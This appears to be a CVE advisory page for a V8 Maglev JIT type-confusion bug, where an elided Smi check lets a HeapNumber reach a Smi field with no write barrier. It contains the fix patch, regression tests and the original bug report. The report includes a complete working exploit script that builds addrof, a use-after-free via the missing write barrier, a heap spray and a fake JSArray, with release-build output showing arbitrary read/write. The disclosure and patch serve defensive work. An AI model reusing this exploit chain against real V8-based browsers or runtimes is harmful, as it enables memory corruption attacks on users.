CVE-2026-7337
Overview
Files Changed
src/maglev/maglev-graph-builder.cctest/mjsunit/maglev/regress/regress-500880819.jstest/mjsunit/maglev/regress/regress-501789186.js
Patch
From b9be4febd638434a37a4215b8ea9ae1f8fab4df6 Mon Sep 17 00:00:00 2001
From: Jakob Linke <jgruber@chromium.org>
Date: Tue, 14 Apr 2026 08:46:10 +0200
Subject: [PATCH] [maglev] Restrict BuildCheckSmi constant elision to non-tagged inputs
The elision added in CL 6988172 (commit 6469250a124a) skipped the
runtime check whenever TryGetInt32Constant(object) returned a value in
Smi range. For non-tagged input representations this is sound, because
the switch below emits a value-range check (CheckInt32IsSmi /
CheckUint32IsSmi / CheckFloat64IsSmi / CheckHoleyFloat64IsSmi /
CheckIntPtrIsSmi), which is exactly what Smi::IsValid proves.
For kTagged inputs the emitted check is CheckSmi, a tag-bit check.
Value-equivalence does not imply Smi tagging: a tagged node can be equal
in value to a Smi-range constant while actually holding a HeapNumber at
runtime. This happens when BuildCheckNumericalValue's HeapNumber branch
records a Constant(HeapNumber N) in the node's checked_value alternative
after a CheckFloat64SameValue; since CheckFloat64SameValue only proves
numeric equality, both Smi(N) and HeapNumber(N) pass it.
TryGetInt32Constant recurses through the alternative and returns N, so
the elision drops the tag check and a HeapNumber pointer can flow into
downstream consumers (e.g. the kSmi-field store path via
StoreTaggedFieldNoWriteBarrier), causing a type confusion and a missing
write barrier.
Gate the elision on value_representation() != kTagged. For tagged Smi
inputs the earlier StaticTypeIs(kSmi) / EnsureType(kSmi) early returns
already handle elision via type-system facts, which carry the tag
guarantee the value-equivalence alternative does not.
Fixed: 500880819
Change-Id: Ida0c18551974c5d861e0aed6f881439d04598c0b
Reviewed-on: https://chromium-review.googlesource.com/c/v8/v8/+/7761542
Reviewed-by: Victor Gomes <victorgomes@chromium.org>
Commit-Queue: Jakob Linke <jgruber@chromium.org>
Cr-Commit-Position: refs/heads/main@{#106450}
---
diff --git a/src/maglev/maglev-graph-builder.cc b/src/maglev/maglev-graph-builder.cc
index 1153aef..62b27fe 100644
--- a/src/maglev/maglev-graph-builder.cc
+++ b/src/maglev/maglev-graph-builder.cc
@@ -4150,9 +4150,16 @@
}
if (EnsureType(object, NodeType::kSmi) && elidable) return object;
RecordSmiUse(object);
- // For constants, we may be able to skip the runtime check.
- if (std::optional<int32_t> constant_value = TryGetInt32Constant(object)) {
- if (Smi::IsValid(constant_value.value())) return object;
+ // For non-tagged constants, we may be able to skip the runtime check: every
+ // non-tagged arm of the switch below emits a value-range check, which is
+ // exactly what `Smi::IsValid` proves. For tagged inputs the runtime check
+ // (CheckSmi) is a tag-bit check, and value-equivalence (e.g. via the
+ // checked_value alternative, which may hold a HeapNumber constant) does not
+ // imply Smi tagging.
+ if (object->value_representation() != ValueRepresentation::kTagged) {
+ if (std::optional<int32_t> constant_value = TryGetInt32Constant(object)) {
+ if (Smi::IsValid(constant_value.value())) return object;
+ }
}
switch (object->value_representation()) {
case ValueRepresentation::kInt32:
diff --git a/test/mjsunit/maglev/regress/regress-500880819.js b/test/mjsunit/maglev/regress/regress-500880819.js
new file mode 100644
index 0000000..bf6b8f0
--- /dev/null
+++ b/test/mjsunit/maglev/regress/regress-500880819.js
@@ -0,0 +1,31 @@
+// Copyright 2026 the V8 project authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+//
+// Flags: --allow-natives-syntax --maglev --expose-gc
+
+let f = new Float64Array(1); f[0] = 5;
+let HN5 = f[0];
+globalThis.G = HN5;
+
+let obj = { smiField: 1 };
+obj.smiField = 2;
+obj.smiField = 3;
+
+function sh(o, x, c) { if (c) o.smiField = x; }
+function corrupt(o, x, c) { G = x; sh(o, x, c); }
+
+%PrepareFunctionForOptimization(sh);
+%PrepareFunctionForOptimization(corrupt);
+sh(obj, 5, true);
+corrupt(obj, HN5, false);
+corrupt(obj, HN5, false);
+%OptimizeMaglevOnNextCall(sh);
+%OptimizeMaglevOnNextCall(corrupt);
+
+// Trigger: HeapNumber(5.0) ends up in a kSmi-typed field without a Smi check.
+corrupt(obj, HN5, true);
+
+// Force a write-barrier verification path by allocating.
+gc();
+assertEquals(5, obj.smiField);
diff --git a/test/mjsunit/maglev/regress/regress-501789186.js b/test/mjsunit/maglev/regress/regress-501789186.js
new file mode 100644
index 0000000..c3baa6f
--- /dev/null
+++ b/test/mjsunit/maglev/regress/regress-501789186.js
@@ -0,0 +1,26 @@
+// Copyright 2026 the V8 project authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+//
+// Flags: --fuzzing --expose-gc --allow-natives-syntax --disable-abortjs
+// Flags: --disable-in-process-stack-traces
+
+let f64 = new Float64Array(1);
+f64[0] = 1.0;
+let hn = f64[0];
+
+let script_var_1 = hn;
+let script_var_2 = 1;
+script_var_2 = 2;
+
+function foo(x) {
+ script_var_1 = x;
+ script_var_2 = x;
+}
+
+%PrepareFunctionForOptimization(foo);
+%OptimizeMaglevOnNextCall(foo);
+
+foo(hn);
+
+assertEquals(1, script_var_2);
Regression Test / PoC
diff --git a/test/mjsunit/maglev/regress/regress-500880819.js b/test/mjsunit/maglev/regress/regress-500880819.js
new file mode 100644
index 0000000..bf6b8f0
--- /dev/null
+++ b/test/mjsunit/maglev/regress/regress-500880819.js
@@ -0,0 +1,31 @@
+// Copyright 2026 the V8 project authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+//
+// Flags: --allow-natives-syntax --maglev --expose-gc
+
+let f = new Float64Array(1); f[0] = 5;
+let HN5 = f[0];
+globalThis.G = HN5;
+
+let obj = { smiField: 1 };
+obj.smiField = 2;
+obj.smiField = 3;
+
+function sh(o, x, c) { if (c) o.smiField = x; }
+function corrupt(o, x, c) { G = x; sh(o, x, c); }
+
+%PrepareFunctionForOptimization(sh);
+%PrepareFunctionForOptimization(corrupt);
+sh(obj, 5, true);
+corrupt(obj, HN5, false);
+corrupt(obj, HN5, false);
+%OptimizeMaglevOnNextCall(sh);
+%OptimizeMaglevOnNextCall(corrupt);
+
+// Trigger: HeapNumber(5.0) ends up in a kSmi-typed field without a Smi check.
+corrupt(obj, HN5, true);
+
+// Force a write-barrier verification path by allocating.
+gc();
+assertEquals(5, obj.smiField);
diff --git a/test/mjsunit/maglev/regress/regress-501789186.js b/test/mjsunit/maglev/regress/regress-501789186.js
new file mode 100644
index 0000000..c3baa6f
--- /dev/null
+++ b/test/mjsunit/maglev/regress/regress-501789186.js
@@ -0,0 +1,26 @@
+// Copyright 2026 the V8 project authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+//
+// Flags: --fuzzing --expose-gc --allow-natives-syntax --disable-abortjs
+// Flags: --disable-in-process-stack-traces
+
+let f64 = new Float64Array(1);
+f64[0] = 1.0;
+let hn = f64[0];
+
+let script_var_1 = hn;
+let script_var_2 = 1;
+script_var_2 = 2;
+
+function foo(x) {
+ script_var_1 = x;
+ script_var_2 = x;
+}
+
+%PrepareFunctionForOptimization(foo);
+%OptimizeMaglevOnNextCall(foo);
+
+foo(hn);
+
+assertEquals(1, script_var_2);
Original Bug Report
Type confusion in BuildCheckSmi constant folding in V8/Maglev
Tested on: V8 14.9.0 (candidate), HEAD 31b353261e41a9d15c829359b0d4d9e261debeb6 (2026-04-04)
BuildCheckSmi elides the runtime Smi check when TryGetInt32Constant returns a value in Smi range. TryGetInt32Constant recurses through the checked_value alternative recorded by SetKnownValue. When BuildCheckNumericalValue records a Constant(HeapNumber 5.0) as the checked_value (after CheckFloat64SameValue passes), TryGetInt32Constant follows the alternative, sees IsInt32Double(5.0), and returns 5 β without verifying that the runtime representation is Smi.
The CheckFloat64SameValue node verifies value equality (5.0 == 5.0), not representation. Both Smi(5) and HeapNumber(5.0) pass it. The elided CheckSmi was the only thing preventing a HeapNumber pointer from reaching BuildStoreTaggedFieldNoWriteBarrier (the kSmi-field store path, which omits the write barrier under the assumption that Smis don’t need one).
Result: a tagged HeapNumber pointer is written into a kSmi-typed field with no write barrier. The receiver’s map is unchanged. The remembered set is not updated.
Root cause
The elision (maglev-graph-builder.cc:4145-4146)
ReduceResult MaglevGraphBuilder::BuildCheckSmi(ValueNode* object, ...) {
...
// For constants, we may be able to skip the runtime check.
if (std::optional<int32_t> constant_value = TryGetInt32Constant(object)) {
if (Smi::IsValid(constant_value.value())) return object; // β elide CheckSmi
}
...
}
This is sound when object is a constant node. It is unsound when object is a runtime value whose checked_value alternative is a constant.
The recursion (maglev-reducer-inl.h:722-723)
std::optional<int32_t> MaglevReducer<BaseT>::TryGetInt32Constant(ValueNode* value) {
switch (value->opcode()) {
case Opcode::kConstant: {
compiler::ObjectRef object = value->Cast<Constant>()->object();
if (object.IsHeapNumber() &&
IsInt32Double(object.AsHeapNumber().value())) { // β 5.0 β true
return static_cast<int32_t>(object.AsHeapNumber().value());
}
...
}
...
}
if (auto c = TryGetConstantAlternative(value)) {
return TryGetInt32Constant(*c); // β recurse on checked_value
}
return {};
}
TryGetConstantAlternative (maglev-reducer-inl.h:480-490) reads info->alternative().checked_value() and returns it if it’s a constant node. The recursive call then hits the kConstant case for the HeapNumber.
Where checked_value is set (maglev-graph-builder.cc:12268-12271)
ReduceResult MaglevGraphBuilder::BuildCheckNumericalValue(...) {
...
RETURN_IF_ABORT(
AddNewNode<CheckFloat64SameValue>({node}, ref_value, reason));
}
reducer_.SetKnownValue(node, ref, NodeType::kNumber); // β here
return ReduceResult::Done();
}
SetKnownValue (maglev-reducer-inl.h:1396) does:
known_info->alternative().set_checked_value(GetConstant(ref));
ref is the compile-time PropertyCell value β a HeapNumber 5.0 object. GetConstant(ref) produces Constant(HN 5.0). This is recorded as the checked_value for the runtime node.
The implicit contract violated: checked_value was meant to record “after this check, the runtime value is equal to this constant”, but TryGetInt32Constant reads it as “the runtime value is this constant (same representation)”.
The sink (maglev-graph-builder.cc:5359-5421)
ValueNode* value = GetAccumulator(); // raw tagged
...
if (field_representation.IsSmi()) {
RETURN_IF_ABORT(GetAccumulatorSmi(...)); // β inserts CheckSmi (or tries to)
// result IGNORED β only the side
// effect (CheckSmi node) matters
}
...
if (field_representation.IsSmi()) {
RETURN_IF_ABORT(BuildStoreTaggedFieldNoWriteBarrier(
store_target, value, field_index.offset(), store_mode, name));
}
GetAccumulatorSmi β BuildCheckSmi. With the check elided, value (the unmodified accumulator, holding a HeapNumber pointer) flows directly to BuildStoreTaggedFieldNoWriteBarrier.
Impact
addrofβ A Maglev-compiled load ofobj.femitsUnsafeSmiUntag(map says kSmi, no tag check). Reading the corrupted field returnscompressed_ptr >> 1. Deterministic, repeatable.- UAF β
objin old-gen, fresh HN in young-gen, no remembered-set entry. Minor GC frees the HN;obj.fdangles. Spray new-space βfakeobjβ in-cage arbitrary read/write. - Arbitrary Read/Write demonstrated with zero flags (
./d8 poc.js), quite reliable.
Repro
// Two triggers of the same bug:
// #1: corrupt(obj, HN5, true) β oldβold, GC-safe, pure type confusion.
// addrof(obj) β UnsafeSmiUntag β leaks HN5's compressed ptr.
// #2: corrupt(obj, freshHN, true) β oldβyoung, missing WB β dangling β fakeobj.
//
// Trigger #1 is allocation-free (HN5 exists, addrof returns Smi-range int,
// recovery is integer math) β young-gen bump pointer unchanged β freshHN lands
// at the same young-gen offset as the single-trigger version.
//
// No eval closures, no scan window, no hardcoded HN5 neighborhood. The only
// build-specific constant is JSARRAY_DBL_MAP (RO-root, run-stable, standard).
//
// Run: d8 poc.js
const JSARRAY_DBL_MAP = 0x0100d0d9;
const FAKE_LEN = 0x100;
const WARMUP_N = 30000;
let f64 = new Float64Array(1);
let u32 = new Uint32Array(f64.buffer);
function itof(lo, hi) { u32[0]=lo>>>0; u32[1]=hi>>>0; return f64[0]; }
function ftoi(d) { f64[0]=d; return [u32[0]>>>0, u32[1]>>>0]; }
const SPRAY_D = itof(FAKE_LEN << 1, JSARRAY_DBL_MAP);
// βββ Setup βββ
let __f = new Float64Array(1); __f[0] = 5;
let HN5 = __f[0];
globalThis.G = HN5;
let obj = { smiField: 1 };
obj.smiField = 2; obj.smiField = 3;
// βββ Organic promotion βββ
for (let i = 0; i < 400; i++) { new Array(10000).fill(1.1); }
// βββ Functions βββ
function sh(o, x, c) { if (c) o.smiField = x; }
sh(obj, 5, true); sh(obj, 5, true); sh(obj, 5, true);
function corrupt(o, x, c) { G = x; sh(o, x, c); }
// addrof: Maglev trusts kSmi map β LoadTaggedField β UnsafeSmiUntag (no tag
// check) β Int32Add. `+7` survives identity-folding (+0, |0, *1 all fold).
// Recovery: ptr = ((r-7)<<1)|1. HN5_ptr β 0x012xxxxx β >>1 β 9M β Smi-range.
function addrof(o) { return o.smiField + 7; }
addrof(obj); addrof(obj); addrof(obj);
// βββ Warmup: tier BOTH corrupt and addrof to Maglev βββ
// addrof trained on Smi(5) β returns 12. Loop allocates nothing.
for (let i = 0; i < WARMUP_N; i++) {
corrupt(obj, HN5, false);
addrof(obj);
if ((i & 15) === 0) sh(obj, 5, true);
}
// βββ Trigger #1: addrof(HN5) β ALLOCATION-FREE βββ
// HN5 is old-gen, obj is old-gen β WriteBarrier::IsRequired = false. The
// missing WB is harmless here. Type confusion alone: CheckSmi elided, HN5's
// tagged ptr lands in the kSmi field, map unchanged. addrof's CheckMaps
// passes, UnsafeSmiUntag shifts the raw bits. No deopt β corrupt stays Maglev.
//
// NO IIFE: HN5 is already a tagged HN (script-scope let, loaded via context
// slot). OSR'd top-level passes it tagged β no __f[0]-style unboxing risk.
// IIFE would allocate a closure object (~28B young-gen) β shifts freshHN.
//
// NO PRINT: string concat + toString allocate. Defer all output.
//
// leaked β (0x012xxxxx >> 1) + 7 β 9M β Smi. Recovery math stays Smi-range.
// `let` slots pre-reserved in script context at parse β assignment is no-alloc.
corrupt(obj, HN5, true);
let leaked = addrof(obj);
let HN5_ADDR = (((leaked - 7) << 1) | 1) >>> 0;
obj.smiField = 5; // reset: store IC sees kSmi map + Smi value β clean
// βββ Trigger #2: dangling βββ
// freshHN is young-gen β oldβyoung store, missing WB β no remembered-set entry.
(function(){ corrupt(obj, __f[0], true); })();
// βββ Stack scrub βββ
(function r(n){return n>0?r(n-1)+n:0;})(400);
// βββ Spray (organic minor GCs mid-loop) βββ
let pads = [];
for (let j = 0; j < 200; j++) {
let a = new Array(1000);
for (let i = 0; i < 1000; i++) a[i] = SPRAY_D;
pads.push(a);
}
// βββ Verify fake JSArray βββ
let fake = obj.smiField;
if (typeof fake === "number") {
print("\n[fail] HN survived (typeof=number, val=" + fake + ")");
throw "UAF didn't fire";
}
let len;
try { len = fake.length; } catch(e) {
print("\n[fail] fake.length threw: " + e);
throw "fake malformed";
}
print("\n[fake] typeof=" + typeof fake + " length=" + len + " (expect " + FAKE_LEN + ")");
if (len !== FAKE_LEN) {
print("[fail] alignment/spray miss");
throw "spray miss";
}
print("[fake] *** fake JSArray landed ***");
// βββ Initial read (elements still = JSARRAY_DBL_MAP) βββ
let v_init = fake[0];
let [li,hi] = ftoi(v_init);
print("[read] fake[0] @ MAP+7 = " + v_init);
print("[read] hex 0x" + hi.toString(16).padStart(8,'0') + "_" + li.toString(16).padStart(8,'0'));
// βββ Spray-scan: find length-controlling slot (uses fake.length only β no
// elements deref β safe in OSR'd code, no map check on elements) βββ
const PROBE_D = itof(0x777 << 1, JSARRAY_DBL_MAP);
let fj=-1, fk=-1;
scan: for (let j = 0; j < 200; j++) {
let a = pads[j];
for (let k = 0; k < 1000; k++) {
a[k] = PROBE_D;
if (fake.length === 0x777) { fj=j; fk=k; a[k]=SPRAY_D; break scan; }
a[k] = SPRAY_D;
}
}
if (fj < 0) {
print("\n[fail] scan miss β spray not writable at dangling");
throw "scan miss";
}
print("[scan] *** pads[" + fj + "][" + fk + "] controls fake.length ***");
// βββ Retarget + arb R/W demo (IIFE β Ignition β no elements-map check) βββ
// fake[0] reads 8B at elements_tagged + 7. HN.value at HN_tagged + 3.
// elements = HN5_ADDR - 4 β reads at HN5_ADDR + 3 = HN5.value.
//
// IIFE because optimized fake[0] (Maglev/TF) emits CheckMaps on fake.elements
// expecting FixedDoubleArray. elements is now HN5_ADDR-4 (a HeapNumber-ish
// region) β CHECK or deopt. Ignition's keyed-load IC trusts the receiver map,
// dereferences elements blindly. One call β cold β Ignition.
let _pad = pads[fj], _slot = fk-1;
let result = (function(){
_pad[_slot] = itof(FAKE_LEN<<1, (HN5_ADDR - 4) >>> 0);
let v = fake[0];
if (v !== 5) return v; // wrong addr or HN5 moved (major GC)
fake[0] = 1337.42;
return v;
})();
if (result !== 5) {
print("\n[fail] read at leaked addr = " + result + " (expected 5)");
print(" HN5_ADDR stale? major GC moved HN5 between leak and now?");
throw "addr stale";
}
let hn5_now = HN5 + 0;
// (deferred from trigger #1 β printing there would have allocated strings
// in young-gen before freshHN, shifting its alignment)
print("\n[addrof] leaked raw = " + leaked + " (12 would mean bug didn't fire)");
print("[addrof] HN5_ADDR = 0x" + HN5_ADDR.toString(16) + " (UnsafeSmiUntag, no scan)");
print("\n[!!!] ARBITRARY READ: fake[0] @ leaked 0x" + HN5_ADDR.toString(16) + " = 5.0");
print("[!!!] ARBITRARY WRITE: fake[0] = 1337.42 β HN5+0 = " + hn5_now);
print("[!!!] v_init (Map bytes @ 0x" + JSARRAY_DBL_MAP.toString(16) + "+7) = " + v_init);
print("[!!!] HN5+0 (after write, independent JS read) = " + hn5_now);
if (hn5_now === 1337.42) {
print(" *** ARB R/W achieved ***");
}
Debug (show root cause)
β― ./v8/out/x64.debug/d8 poc/maglev-checksmi-elision/poc.js
#
# Fatal error in ../../src/heap/heap.cc, line 6784
# Check failed: !WriteBarrier::IsRequired(heap_object, Tagged<Object>(value)).
#
#
#
#FailureMessage Object: 0x7ffeb5d87868
==== C stack trace ===============================
/home/pop/sec/v8/v8/out/x64.debug/libv8_libbase.so(v8::base::debug::StackTrace::StackTrace()+0x29) [0x735b27276179]
/home/pop/sec/v8/v8/out/x64.debug/libv8_libplatform.so(+0x4e2cd) [0x735b173e12cd]
/home/pop/sec/v8/v8/out/x64.debug/libv8_libbase.so(v8::base::PrintStackTraceIfAvailable()+0x14) [0x735b272491e4]
/home/pop/sec/v8/v8/out/x64.debug/libv8_libbase.so(V8_Fatal(char const*, int, char const*, ...)+0x1f9) [0x735b27249999]
/home/pop/sec/v8/v8/out/x64.debug/libv8.so(v8::internal::Heap::VerifySkippedWriteBarrier(unsigned long, unsigned long)+0x12b) [0x735b218fc10b]
[0x735b7fc9441b]
[1] 1417951 trace trap (core dumped) ./v8/out/x64.debug/d8
Release (Arbitrary R/W)
β― ./v8/out/ASAN_RELEASE/d8 audit-notes/maglev-checksmi-elision/poc-organic-honest.js
[fake] typeof=object length=256 (expect 256)
[fake] *** fake JSArray landed ***
[read] fake[0] @ MAP+7 = 1.6291488275493544e-260
[read] hex 0x0a0007ff_1100084b
[scan] *** pads[104][716] controls fake.length ***
[addrof] leaked raw = 9582111 (12 would mean bug didn't fire)
[addrof] HN5_ADDR = 0x1246c31 (UnsafeSmiUntag, no scan)
[!!!] ARBITRARY READ: fake[0] @ leaked 0x1246c31 = 5.0
[!!!] ARBITRARY WRITE: fake[0] = 1337.42 β HN5+0 = 1337.42
[!!!] v_init (Map bytes @ 0x100d0d9+7) = 1.6291488275493544e-260
[!!!] HN5+0 (after write, independent JS read) = 1337.42
*** ARB R/W achieved ***
Suggested fix
The issue is introduced by 6469250a124a: [maglev] Improve constant handling for BuildCheckSmi and the Array ctor, 2025-09-26, crrev.com/c/6988172.
TryGetInt32Constant answers “what int32 value does this node hold?” β it does not prove the runtime representation is Smi. BuildCheckSmi should only elide when object itself is a constant node, not when its checked_value alternative is:
if (IsConstantNode(object->opcode())) {
if (std::optional<int32_t> c = TryGetInt32Constant(object)) {
if (Smi::IsValid(c.value())) return object;
}
}